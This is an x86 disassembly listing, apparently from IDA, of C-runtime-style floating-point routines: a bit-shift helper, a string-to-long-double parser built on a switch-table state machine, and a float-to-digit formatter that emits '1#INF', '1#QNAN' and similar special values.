sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C508
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C508
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C508
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C504, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C508
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C504, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C504, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C504, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C504, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
